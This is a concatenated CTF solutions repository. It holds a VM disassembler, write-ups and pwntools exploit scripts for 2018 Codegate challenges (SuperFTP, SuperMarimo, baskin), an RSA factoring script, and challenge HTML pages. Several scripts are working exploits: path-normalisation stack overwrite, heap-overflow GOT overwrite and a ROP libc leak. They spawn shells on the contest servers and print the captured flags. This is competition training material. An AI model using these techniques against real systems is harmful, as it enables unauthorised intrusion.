read_memory_tri(firmware, addr, count): 24 | if not count: 25 | return [] 26 | 27 | res = [] 28 | for i in range(count): 29 | tri = 0 30 | tri |= firmware[addr + i*3] 31 | tri |= firmware[addr + i*3 + 1] << 14 32 | tri |= firmware[addr + i*3 + 2] << 7 33 | res.append(tri) 34 | return res 35 | 36 | def dispatch(firmware, pc): 37 | opcode = bit_concat(firmware[pc:pc+2]) 38 | op = (opcode & 0b11111000000000) >> 9 39 | op_type = (opcode & 0b00000100000000) >> 8 40 | opers = [] 41 | 42 | if op_type == 0: # Register, TYPE_R 43 | opers.append((opcode & 0b11110000) >> 4) 44 | opers.append((opcode & 0b00001111)) 45 | op_size = 2 46 | 47 | elif op_type == 1: # I, TYPE_I 48 | opers.append((opcode & 0b11110000) >> 4) 49 | opers.append((read_memory_tri(firmware, pc+2, 1)[0])) 50 | op_size = 5 51 | else: 52 | print "[VM] Invalid!" 53 | 54 | return op, op_type, opers, op_size 55 | 56 | def op_x0(op_type, opers): 57 | if op_type == 0: 58 | print "mov " + reg_list[opers[0]] + ", [" + reg_list[opers[1]] + "]" 59 | else: 60 | terminate("[VM] Invalid instruction - op0") 61 | 62 | def op_x1(op_type, opers): 63 | if op_type == 0: 64 | print "movb " + reg_list[opers[0]] + ", [" + reg_list[opers[1]] + "]" 65 | else: 66 | terminate("[VM] Invalid instruction - op1") 67 | 68 | def op_x2(op_type, opers): 69 | if op_type == 0: 70 | print "mov [" + reg_list[opers[0]] + "], " + reg_list[opers[1]] 71 | else: 72 | terminate("[VM] Invalid instruction - op2") 73 | 74 | def op_x3(op_type, opers): 75 | if op_type == 0: 76 | print "movb [" + reg_list[opers[0]] + "], " + reg_list[opers[1]] 77 | else: 78 | terminate("[VM] Invalid instruction - op3") 79 | 80 | def op_x4(op_type, opers): 81 | if op_type == 0: 82 | print "mov " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 83 | elif op_type == 1: 84 | print "mov " + reg_list[opers[0]] + ", " + hex(opers[1]) 85 | else: 86 | terminate("[VM] Invalid instruction - op4") 87 | 88 | def op_x5(op_type, opers): 89 | if op_type == 0: 90 | print "xchg " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 91 | else: 92 | terminate("[VM] Invalid instruction - op5") 93 | 94 | def op_x6(op_type, opers): 95 | if op_type == 0: 96 | print "push " + reg_list[opers[0]] 97 | elif op_type == 1: 98 | print "push " + hex(opers[0]) 99 | else: 100 | terminate("[VM] Invalid Instruction - op6") 101 | 102 | def op_x7(op_type, opers): 103 | if op_type == 0: 104 | print "pop " + reg_list[opers[0]] 105 | else: 106 | terminate("[VM] Invalid instruction - op7") 107 | 108 | def op_x8(op_type, opers): 109 | print "syscall" 110 | 111 | def op_x9(op_type, opers): 112 | if op_type == 0: 113 | print "add " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 114 | elif op_type == 1: 115 | print "add " + reg_list[opers[0]] + ", " + hex(opers[1]) 116 | else: 117 | terminate("[VM] Invalid instruction - op9") 118 | 119 | def op_x10(op_type, opers): 120 | if op_type == 0: 121 | print "addb " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 122 | elif op_type == 1: 123 | print "addb " + reg_list[opers[0]] + ", " + hex(opers[1]) 124 | else: 125 | terminate("[VM] Invalid instruction - op10") 126 | 127 | def op_x11(op_type, opers): 128 | if op_type == 0: 129 | print "sub " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 130 | elif op_type == 1: 131 | print "sub " + reg_list[opers[0]] + ", " + hex(opers[1]) 132 | else: 133 | terminate("[VM] Invalid instruction - op11") 134 | 135 | def op_x12(op_type, opers): 136 | if op_type == 0: 137 | print "subb " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 138 | elif op_type == 1: 139 | print "subb " + reg_list[opers[0]] + ", " + hex(opers[1]) 140 | else: 141 | terminate("[VM] Invalid instruction - op12") 142 | 143 | def op_x13(op_type, opers): 144 | if op_type == 0: 145 | print "shr " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 146 | elif op_type == 1: 147 | print "shr " + reg_list[opers[0]] + ", " + hex(opers[1]) 148 | else: 149 | terminate("[VM] Invalid instruction - op13") 150 | 151 | def op_x14(op_type, opers): 152 | if op_type == 0: 153 | print "shl " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 154 | elif op_type == 1: 155 | print "shl " + reg_list[opers[0]] + ", " + hex(opers[1]) 156 | else: 157 | terminate("[VM] Invalid instruction - op14") 158 | 159 | def op_x15(op_type, opers): 160 | if op_type == 0: 161 | print "mul " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 162 | elif op_type == 1: 163 | print "mul " + reg_list[opers[0]] + ", " + hex(opers[1]) 164 | else: 165 | terminate("[VM] Invalid instruction - op15") 166 | 167 | def op_x16(op_type, opers): 168 | if op_type == 0: 169 | print "div " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 170 | elif op_type == 1: 171 | print "div " + reg_list[opers[0]] + ", " + hex(opers[1]) 172 | else: 173 | terminate("[VM] Invalid instruction - op16") 174 | 175 | def op_x17(op_type, opers): 176 | if op_type == 0: 177 | print "inc " + reg_list[opers[0]] 178 | else: 179 | terminate("[VM] Invalid instruction - op17") 180 | 181 | def op_x18(op_type, opers): 182 | if op_type == 0: 183 | print "dec " + reg_list[opers[0]] 184 | else: 185 | terminate("[VM] Invalid instruction - op18") 186 | 187 | def op_x19(op_type, opers): 188 | if op_type == 0: 189 | print "and " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 190 | elif op_type == 1: 191 | print "and " + reg_list[opers[0]] + ", " + hex(opers[1]) 192 | else: 193 | terminate("[VM] Invalid instruction - op19") 194 | 195 | def op_x20(op_type, opers): 196 | if op_type == 0: 197 | print "or " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 198 | elif op_type == 1: 199 | print "or " + reg_list[opers[0]] + ", " + hex(opers[1]) 200 | else: 201 | terminate("[VM] Invalid instruction - op20") 202 | 203 | def op_x21(op_type, opers): 204 | if op_type == 0: 205 | print "xor " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 206 | elif op_type == 1: 207 | print "xor " + reg_list[opers[0]] + ", " + hex(opers[1]) 208 | else: 209 | terminate("[VM] Invalid instruction - op21") 210 | 211 | def op_x22(op_type, opers): 212 | if op_type == 0: 213 | print "mod " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 214 | elif op_type == 1: 215 | print "mod " + reg_list[opers[0]] + ", " + hex(opers[1]) 216 | else: 217 | terminate("[VM] Invalid instruction - op22") 218 | 219 | def op_x23(op_type, opers): 220 | if op_type == 0: 221 | print "cmp " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 222 | elif op_type == 1: 223 | print "cmp " + reg_list[opers[0]] + ", " + hex(opers[1]) 224 | else: 225 | terminate("[VM] Invalid instruction - op23") 226 | 227 | def op_x24(op_type, opers): 228 | if op_type == 0: 229 | print "cmpb " + reg_list[opers[0]] + ", " + reg_list[opers[1]] 230 | elif op_type == 1: 231 | print "cmpb " + reg_list[opers[0]] + ", " + hex(opers[1]) 232 | else: 233 | terminate("[VM] Invalid instruction - op24") 234 | 235 | def op_x25(op_type, opers): 236 | if op_type == 0: 237 | print "!N!Zjmp (" + reg_list[opers[0]] + "+" + reg_list[opers[1]] + ")" 238 | elif op_type == 1: 239 | print "!N!Zjmp (" + reg_list[opers[0]] + "+" + hex(opers[1]) + ")" 240 | else: 241 | terminate("[VM] Invalid instruction - op25") 242 | 243 | def op_x26(op_type, opers): 244 | if op_type == 0: 245 | print "N!Zjmp (" + reg_list[opers[0]] + "+" + reg_list[opers[1]] + ")" 246 | elif op_type == 1: 247 | print "N!Zjmp (" + reg_list[opers[0]] + "+" + hex(opers[1]) + ")" 248 | else: 249 | terminate("[VM] Invalid instruction - op25") 250 | 251 | def op_x27(op_type, opers): 252 | if op_type == 0: 253 | print "jz (" + reg_list[opers[0]] + "+" + reg_list[opers[1]] + ")" 254 | elif op_type == 1: 255 | print "jz (" + reg_list[opers[0]] + "+" + hex(opers[1]) + ")" 256 | else: 257 | terminate("[VM] Invalid instruction - op27") 258 | 259 | def op_x28(op_type, opers): 260 | if op_type == 0: 261 | print "jnz (" + reg_list[opers[0]] + "+" + reg_list[opers[1]] + ")" 262 | elif op_type == 1: 263 | print "jnz (" + reg_list[opers[0]] + "+" + hex(opers[1]) + ")" 264 | else: 265 | terminate("[VM] Invalid instruction - op28") 266 | 267 | def op_x29(op_type, opers): 268 | if op_type == 0: 269 | print "jmp (" + reg_list[opers[0]] + "+" + reg_list[opers[1]] + ")" 270 | elif op_type == 1: 271 | print "jmp (" + reg_list[opers[0]] + "+" + hex(opers[1]) + ")" 272 | else: 273 | terminate("[VM] Invalid instruction - op29") 274 | 275 | def op_x30(op_type, opers): 276 | if op_type == 0: 277 | print "call (" + reg_list[opers[0]] + "+" + reg_list[opers[1]] + ")" 278 | elif op_type == 1: 279 | print "call (" + reg_list[opers[0]] + "+" + hex(opers[1]) + ")" 280 | else: 281 | terminate("[VM] Invalid instruction - op30") 282 | 283 | 284 | def emulate(firmware, pc, op_handler_table): 285 | try: 286 | while True: 287 | op, op_type, opers, op_size = dispatch(firmware, pc) 288 | sys.stdout.write(hex(pc)[2:].zfill(8) + " ") 289 | op_handler = op_handler_table[op] 290 | op_handler(op_type, opers) 291 | pc += op_size 292 | except: 293 | print "[VM] Unknown error" 294 | exit(-1) 295 | 296 | def hello(a, b): 297 | print "hello" 298 | 299 | firmware = load_firmware("mic_check.firm") 300 | pc = 0 301 | reg_list = ["r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "bp", "sp", "pc", "eflags", "zero"] 302 | 303 | print len(firmware) 304 | 305 | op_handler_table = [op_x0, op_x1, op_x2, op_x3, op_x4, op_x5, 306 | op_x6, op_x7, op_x8, op_x9, op_x10, op_x11, 307 | op_x12, op_x13, op_x14, op_x15, op_x16, op_x17, 308 | op_x18, op_x19, op_x20, op_x21, op_x22, op_x23, 309 | op_x24, op_x25, op_x26, op_x27, op_x28, op_x29, op_x30] 310 | 311 | for i in range(31-len(op_handler_table)): 312 | op_handler_table.append(hello) 313 | 314 | raw = read_memory_tri(firmware, 0xcd, 3) 315 | print raw 316 | 317 | emulate(firmware, pc, op_handler_table) 318 | -------------------------------------------------------------------------------- /2018 Codegate Quals/SuperFTP/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 Codegate Quals/SuperFTP/README.md: -------------------------------------------------------------------------------- 1 | SuperFTP - Pwn 600pt (13 Teams Solved) 2 | ------------- 3 | ## Description 4 | SuperFTP is simple x86-menu challenge with ASLR+NX+SSP+PIE+Full RELRO. 5 | 6 | ## Reversing 7 | Program provide 8 menus. 8 | 9 | 1. Join 10 | 2. Print your information 11 | 3. Login 12 | 4. Withdrawal 13 | 5. Download Files 14 | 6. exit 15 | 7, 8 -> hidden menus 16 | 17 | There is **info_ptr** pointer for manage account information at $ebp-0x20 of main stack. 18 | The members of info structure are: 19 | ```c 20 | struct info 21 | { 22 | String id; 23 | String pw; 24 | String name; 25 | int age; 26 | }; 27 | ``` 28 | 29 | ### Join 30 | Program recieves name, age, id, pw and create info structure. 31 | Stores info structure ptr at info_ptr. 32 | 33 | ### Print your information 34 | Check login flag, print information (name, age, id) of user if flag is valid. 35 | 36 | ### Login 37 | Program recieves id and pw from user. 38 | A buffer overflow occurs because the program uses the cin () function when it receives a buffer and the buffer it receives is not a String object. (BTW I didn't used this vuln to exploit.) 39 | If the ID and password match with "admin" and "P3ssw0rd", activate the admin flag and the login flag. If they do not match the admin information but match the user information, only the login flag is activated. 40 | After login() function called, code increment/decrements the main scope variable "loginCnt" depending on result of login(). 41 | 42 | ### Withdrawal 43 | Free info_ptr, info_ptr->id, info_ptr->pw, info_ptr->name and nullify info_ptr if login flag is valid. 44 | 45 | ### Download Files 46 | First, downloadFile() menu recieves URL string. 47 | Menu replaces string such as "/home/mathboy7/pwn/../bb" to "/home/mathboy7/bb". 48 | The algorithm used in this process is as follows. 49 | 50 | 1. Recieves URL. ("/home/mathboy7/pwn/../bb") 51 | 2. Reverse string ("bb/../nwp/7yobhtam/emoh/"), g_URL points start of reversed string. 52 | 3. Search "/../" pattern. Variable ptr1 points "/../nwp/7yobhtam/emoh/" now. 53 | 4. Search "/" corresponding to "/../" and stores to ptr2. In this case, ptr2 points "/7yobhtam/emoh/". 54 | 5. Copy [start ~ "/../"] before ptr2 => ("bb/7yobhtam/emoh/") 55 | 6. Reverse string again, ptr points "/home/mathboy7/bb" now! 56 | 57 | Simple XD 58 | 59 | ### Hidden menu1 (menu 7) 60 | Not important. 61 | 62 | ### Hidden menu2 (menu 8) 63 | provide 4 menus, menu 2/3/4 is not important. 64 | menu 1 performs exactly same behavior with "Download Files" menu. 65 | 66 | The only difference is that g_URL points to the stack buffer. 67 | 68 | ## Vulnerability 69 | There are multiple vulnerability in this program but there is only one vulnerability that you should really pay attention to. 70 | 71 | If you focus at binary code, you can find that there is no boundary check at "Download Files" menu. 72 | 73 | More specifically, if the URL has "/../" pattern without the corresponding "/" character, it will exceed the range of URL buffer when searching for the "/" character. 74 | 75 | ## Exploit 76 | "loginCnt" variable is located in stack of main(). 77 | If we try to login multiple time to set loginCnt 0x2f, we can write our payload to stack of main(). 78 | Let's take a simple look of stack structure. 79 | 80 | ``` 81 | ============ <= stack of main 82 | ... 83 | login_cnt <= copy payload.reverse() until ret, before canary. 84 | ... 85 | ============ <= stack of menu 8 86 | ... 87 | ret 88 | ... 89 | canary 90 | ... 91 | ============ <= stack of downloadURL 92 | ``` 93 | 94 | So we can overwrite menu 8's return address without touching canary. 95 | 96 | The final exploit flow is shown below. 97 | 98 | 1. Login with admin 99 | 2. Download URL with "/../aa/../", leak pointer of libc. 100 | 3. Set loginCnt to 0x2f. 101 | 4. Send payload and overwrite menu 8's return address. 102 | 103 | ``` 104 | $ id 105 | uid=1000(ftp) gid=1000(ftp) groups=1000(ftp) 106 | $ 107 | $ cat flag 108 | Sorry_ftp_1s_brok3n_T_T@ 109 | $ 110 | ``` 111 | -------------------------------------------------------------------------------- /2018 Codegate Quals/SuperFTP/SuperFTP.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | def join(ID, pw, name, age): 4 | r.send(p32(1)) 5 | print r.recvuntil("Name:") 6 | r.sendline(name) 7 | print r.recvuntil("Age:") 8 | r.sendline(str(age)) 9 | print r.recvuntil("ID:") 10 | r.sendline(ID) 11 | print r.recvuntil("PW:") 12 | r.sendline(pw) 13 | print r.recvuntil("Choice:") 14 | 15 | def login(ID, pw): 16 | r.send(p32(3)) 17 | print r.recvuntil("id:") 18 | r.sendline(ID) 19 | print r.recvuntil("pw:") 20 | r.sendline(pw) 21 | print r.recvuntil("Choice:") 22 | 23 | def download(URL): 24 | r.send(p32(8)) 25 | r.send(p32(1)) 26 | r.sendline(URL) 27 | 28 | r = remote("ch41l3ng3s.codegate.kr", 2121) 29 | 30 | print r.recvuntil("Choice:") 31 | 32 | join("asdf", "asdf", "asdf", 10) 33 | login("admin", "P3ssw0rd") 34 | 35 | download("/../AAAA/../") 36 | 37 | libc = u32(r.recvuntil("/")[-4:][::-1]) 38 | libc_base = libc - 0x5fa2f 39 | system = libc_base + 0x3a940 40 | binsh = libc_base + 0x15902b 41 | 42 | for i in range(0x2e): 43 | login("admin", "P3ssw0rd") # login cnt=0x2f now! 44 | 45 | payload = "/../../AAAAAAAA" # reverse input 46 | payload += p32(binsh)[::-1] 47 | payload += "AAAA" 48 | payload += p32(system)[::-1] 49 | 50 | download(payload) 51 | 52 | r.interactive() 53 | -------------------------------------------------------------------------------- /2018 Codegate Quals/SuperMarimo/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 Codegate Quals/SuperMarimo/README.md: -------------------------------------------------------------------------------- 1 | There is heap overflow vulnerability in Edit menu.
2 | We can modify string pointer of profile pointer to GOT and leak libc, overwrite GOT to one_shot gadget.
3 | easy XD 4 | -------------------------------------------------------------------------------- /2018 Codegate Quals/SuperMarimo/SuperMarimo.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote("ch41l3ng3s.codegate.kr", 3333) 4 | 5 | def add(name, profile): 6 | r.sendline(name) 7 | print r.recvuntil("profile") 8 | r.sendline(profile) 9 | print r.recvuntil(">> ") 10 | 11 | def sell(idx): 12 | r.sendline("S") 13 | print r.recvuntil("(number)") 14 | r.sendline(str(idx)) 15 | print r.recvuntil("?") 16 | r.sendline("S") 17 | print r.recvuntil(">> ") 18 | 19 | def buy(size, name, profile): 20 | r.sendline("B") 21 | print r.recvuntil(">>") 22 | r.sendline(str(size)) 23 | print r.recvuntil(">>") 24 | r.sendline("P") 25 | add(name, profile) 26 | 27 | def modify(idx, prof): 28 | r.sendline("V") 29 | print r.recvuntil(">> ") 30 | r.sendline(str(idx)) 31 | print r.recvuntil(">> ") 32 | r.sendline("M") 33 | print r.recvuntil(">> ") 34 | r.sendline(prof) 35 | print r.recvuntil(">> ") 36 | 37 | print r.recvuntil(">> ") 38 | 39 | for i in range(20): 40 | r.sendline("show me the marimo") 41 | add("asdf", "asdf") 42 | sell(0) 43 | 44 | buy(1, "aaaa", "aaaaa") 45 | buy(10, "bbbb", "bbbbb") 46 | 47 | sleep(14) 48 | 49 | modify(0, "A"*0x30+p32(0x0)+p32(0x1000)+p64(0x603018)+p64(0x603018)) 50 | 51 | r.sendline("B") 52 | r.sendline("V") 53 | r.sendline("1") 54 | 55 | rv = r.recvuntil("\x7f")[-6:] 56 | 57 | libc = u64(rv+"\x00\x00") 58 | libc_base = libc - 0x6f690 59 | one_shot = libc_base + 0x45216 60 | 61 | print r.recvuntil("ack ?") 62 | print r.recvuntil(">>") 63 | 64 | r.sendline("M") 65 | print r.recvuntil(">> ") 66 | r.sendline(p64(one_shot)) 67 | 68 | r.interactive() 69 | 70 | ''' 71 | [*] Switching to interactive mode 72 | $ id 73 | uid=1000(marimo) gid=1000(marimo) groups=1000(marimo) 74 | $ ls 75 | flag 76 | marimo 77 | $ cat flag 78 | But_every_cat_is_more_cute_than_Marimo 79 | $ 80 | ''' 81 | -------------------------------------------------------------------------------- /2018 Codegate Quals/babyRSA/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 Codegate Quals/babyRSA/README.md: -------------------------------------------------------------------------------- 1 | Challenge provides two value, (d+p)^(d-p) and d*(p-0xdeadbeef).
2 | XOR is bit-dependent operation, so we know (d+p) ^ (d-p) = h => ((d+p) mod 2\**k) ^ ((d-p) mod 2\**k) -= h mod 2\**k is true.
3 | So I made a list of (d, p) for every 5-bits, make 1024 awnsers of every available (d, p) and compare with (g, h) mod 2\**k.
4 | Just repeating the same procedure, we can efficiently recover p at 2047 bit.
5 | -------------------------------------------------------------------------------- /2018 Codegate Quals/babyRSA/RSAbaby.py: -------------------------------------------------------------------------------- 1 | g = 14511485561279877242490049924164262671564856980418706493772866848857612385453104346586350276227873984815502106112389832011566814347565705873657427101510533972939335373118027470906354834216983842099812965592939768854241417529908124711818216182341332507918374220901579987851767888710421089266081280013256600425746557269742268670300714949183260246617797156425767983027415373581836147225552931559016487193903056680274018867169067069164417868649729813464306199388375773268972224468436723728788928618254041886532217172217283880677562744928063668302190530092708676086756514664006766909499651097644447881334032649057611965077951245778537347658519214651268439995915614667939336569800565797702566887133370244643122543689011224353239395653153094885449557256699923700742653930928887024447374907536229536501931493386170594869542262576409686250950887746501725676758035668270309685358291271363775138099327895323451901829587908987436831617628346535627562925010698445652286450107659802164994355539623617745529876829000553355956755914526849056343372137493951531663650121127924626353148067965144997177441402726593083629261964699315644045714647617156724816370270635144953182744245498998992807987174252376199074131496163299914588620694929584594866873400406185502626180264465104468365933575409921644759774899908018217623256295871823903858740112075223018089096313796599554636163186830200265892525403238639070366999401808068998639590975305617369688731214141047568939908240058088089504343104889824160334560324387496383256518400827927341943755279126157377196722373876343583757261084975726106468397487366825775319965557539853162973895788663508023419482720093445137085452233528426725965549266605359644884153719762909553953900709890192728260024241748671796401590112629479273363064208874240854298225057415248756216847693518038319188675206377870041466557414694779134628404260587970 2 | 3 | h = 200972731730097636976827049698214756107439330058946586294810837394189769656758467301378455256704981506024979360358854939307759891385801491668590432728409172325924823845795802068569504027458509726942683684845099685005724309372842055251251103232234279320256975662933177657993600463290652464246399357992101963313348397652939723188131041888535203383479379782750484175239116419074864386243581748425119257869351582631464696880797553969260415636591522791709442079709586828716914705946883433533874750682958642851920347897328709815665287336267018234850211541263570668304013958387590188226346947851729783080697306777656948546082 4 | 5 | N = 523639805914061918270627443134741619704989339108811345591765650823383811679404400743730300288077320843234806116907796484315512386749183735427076044515394957782722144465236043561036957495670530886847413432636828661793513741180618385135095922719611444315861194066682307139969523206842728092440966461922557111209480112023032164065707216752568624317883094770784553451376502893748762652573604180632157059219119741129827017117558208565054860250853978397405747507844727903363351081745897472675235414693294079400158465019978970101063161094836772073302365997371679643083941089269169502839517043186914783290465318781726781533226599462066259256698885200843104424722505593942510854302401488139137362276492532699951880474157691347473741517183512613811731637427562990396497067805682564174185792379491573312640862381843195615293946630128509982267460922475624107750277459002662884836031305873522960659017891138316482378312004790485681371129328860344989214941450460756203906709954285455206483931555441550631622907560476932030275168094874500348941952385811045752980245084909805234648503736291123092594689494187215718382724496356220857628352007757197464098872772987476828030721472777531411032286344430474215475330008833588291692767417022829531866323051 6 | 7 | sub = 0xdeadbeef 8 | 9 | sumarr = [] 10 | mularr = [] 11 | 12 | for i in range(0, 1024): 13 | for j in range(0, 1024): 14 | s = ((i + j) ^ (i - j)) % 1024 15 | 16 | m = i * (j-sub) % 1024 17 | 18 | sumarr.append(s) 19 | mularr.append(m) 20 | 21 | hmod = h % 1024 22 | gmod = g % 1024 23 | 24 | vi = [] 25 | vj = [] 26 | 27 | for i in range(0, 1024*1024): 28 | if sumarr[i] == hmod and mularr[i] == gmod: 29 | print "i: " + str(i/1024) 30 | print "j: " + str(i%1024) 31 | vi.append(i / 1024) 32 | vj.append(i % 1024) 33 | 34 | print vi 35 | print vj 36 | 37 | ############################################################# 38 | 39 | for loop in xrange(409): 40 | sumarr = [] 41 | mularr = [] 42 | 43 | for i in xrange(len(vi)): 44 | sumarr.append([]) 45 | mularr.append([]) 46 | 47 | for i in xrange(len(vi)): 48 | for j in range(0, 32): 49 | for k in range(0, 32): 50 | v1 = 2**(10+5*loop) * j + vi[i] 51 | v2 = 2**(10+5*loop) * k + vj[i] 52 | s = ((v1 + v2) ^ (v1 - v2)) % 2**(15+5*loop) 53 | if(s < 0): 54 | s += 2**(15+5*loop) 55 | 56 | m = v1 * (v2 - sub) % 2**(15+5*loop) 57 | if(m < 0): 58 | m += 2**(15+5*loop) 59 | 60 | sumarr[i].append(s) 61 | mularr[i].append(m) 62 | 63 | hmod = h % 2**(15+5*loop) 64 | gmod = g % 2**(15+5*loop) 65 | 66 | vi_ = [] 67 | vj_ = [] 68 | 69 | for i in range(len(vi)): 70 | for j in range(0, 1024): 71 | if sumarr[i][j] == hmod and mularr[i][j] == gmod: 72 | vi_.append(vi[i]+2**(10+5*loop)*(j/32)) 73 | vj_.append(vj[i]+2**(10+5*loop)*(j%32)) 74 | print str(loop) 75 | print len(vi_) 76 | print len(vj_) 77 | print "\n" 78 | 79 | if loop >= 407: 80 | for p in vj_: 81 | if N % p == 0: 82 | print "p found!" 83 | print "p val: " + hex(p) 84 | 85 | vi = vi_ 86 | vj = vj_ 87 | -------------------------------------------------------------------------------- /2018 Codegate Quals/baskin/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 Codegate Quals/baskin/README.md: -------------------------------------------------------------------------------- 1 | There is stack buffer overflow vulnerability in your_turn() function.
2 | Problem kindly provides some gadgets to make life easy.
3 | Use write() function to leak libc address.
4 | Change control flow to main() again, call system("/bin/sh"). 5 | -------------------------------------------------------------------------------- /2018 Codegate Quals/baskin/baskin.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote("ch41l3ng3s.codegate.kr", 3131) 4 | 5 | print r.recvuntil("1-3)") 6 | 7 | payload = "100\x00" 8 | payload += "A"*0x9c 9 | payload += p64(0x100) 10 | payload += "AAAA" 11 | payload += p32(3) 12 | payload += "B"*8 13 | 14 | payload += p64(0x400bc3) # pop rdi ret 15 | payload += p64(1) 16 | payload += p64(0x400bc1) # pop rsi pop 15 ret 17 | payload += p64(0x602060) 18 | payload += p64(1) 19 | 20 | payload += p64(0x40087c) # pop rdx ret 21 | payload += p64(0x20) 22 | 23 | payload += p64(0x4006d0) # write@plt 24 | 25 | payload += p64(0x400a4b) # main 26 | 27 | r.send(payload) 28 | 29 | print r.recvuntil("rules") 30 | rv = r.recvuntil("\x7f")[-6:] 31 | rv = u64(rv + "\x00\x00") 32 | 33 | print r.recvuntil("1-3)") 34 | print "libc: " + hex(rv) 35 | 36 | libc_base = rv - 0x6fe70 37 | system = libc_base + 0x45390 38 | binsh = libc_base + 0x18cd57 39 | 40 | payload = "100\x00" 41 | payload += "A"*0x9c 42 | payload += p64(0x100) 43 | payload += "AAAA" 44 | payload += p32(3) 45 | payload += "B"*8 46 | 47 | payload += p64(0x400bc3) # pop rdi; ret 48 | payload += p64(binsh) # binsh 49 | payload += p64(system) 50 | 51 | r.send(payload) 52 | 53 | r.interactive() 54 | 55 | ''' 56 | [*] Switching to interactive mode 57 | 58 | 100\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�\x00\x00\x00\x00\x00\x00AAAA\x03\x00\x00\x00BBBBBBBB� 59 | @\x00\x00\x00\x00\x00W\x98\x038\x7f\x00\x00\x90\x93\x83\x038\x7f\x00\x00 60 | Don't break the rules...:( 61 | $ id 62 | uid=1000(player) gid=1000(player) groups=1000(player) 63 | $ 64 | $ cat flag 65 | flag{The Korean name of "Puss in boots" is "My mom is an alien"} 66 | $ 67 | ''' 68 | -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/footer.html: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 |
7 |
8 |

©Jackie Stewart. Gabao RPZ à point 0.

9 |
10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Jackie Stewart's Sapeurs Shop 10 | 11 | 12 | 13 | 14 | 15 | 16 | 30 | 31 | 32 | 33 | 34 |
35 | 42 |
43 | 44 |
45 | 46 |
47 |
48 |

The sapelogie prophet

49 | 50 |

Jackie Stewart

51 |

Real sapeurs know were to shop! You can buy everything here to look just like me!

52 |
53 |
54 | 55 |
56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Jackie Stewart's Sapeurs Shop 10 | 11 | 12 | 13 | 14 | 15 | 16 | 30 | 31 | 32 | 33 | 34 |
35 | 41 |
42 | 43 |
44 | 45 |
46 |
47 |

The sapelogie prophet

48 | 49 |

Jackie Stewart

50 |

Real sapeurs know were to shop! You can buy everything here to look just like me!

51 |
52 |
53 | 54 |
55 |
56 | 57 |
58 |
59 | eyewear_dolce.jpg 60 |

The eyewear, Dolce & Gabbana.

61 |
62 |
63 | paul_smith_suit.jpg 64 |

The suit. Paul Smith. Super 160'. It's not anything.

65 |
66 |
67 | brown_boxer.jpg 68 |

The brown boxer short assorted to the suit.

69 |
70 |
71 | black_belt.jpg 72 |

The belt. Black as the shoes.

73 |
74 |
75 | armani_tie.jpg 76 |

The Armani Tie, very mystic.

77 |
78 |
79 | black_shoes.jpg 80 |

The black shoes.

81 |
82 |
83 | brown_socks.jpg 84 |

The brown socks. Assorted to the boxer.

85 |
86 |
87 | brown_watch.jpg 88 |

The brown watch, function with blood.

89 |
90 |
91 | 92 |
93 |
94 | 95 |
96 | 97 |
98 |
99 |

© Jackie Stewart. Gabao RPZ à point 0.

100 |
101 |
102 | 103 | 104 | -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/2018 Insomni-hack teaser/sapeloshop/libc-2.23.so -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/order.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Jackie Stewart's Sapeurs Shop 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 28 |
29 | 30 |
31 | 32 |
33 |
34 |

The sapelogie prophet

35 | 36 |

Jackie Stewart

37 |

Real sapeurs know were to shop! You can buy everything here to look just like me!

38 |
39 |
40 | 41 |
42 | 43 | 44 |
Thank you for your order!!!
45 | 46 |
47 | 48 |
49 | 50 |
51 |
52 |

©Jackie Stewart. Gabao RPZ à point 0.

53 |
54 |
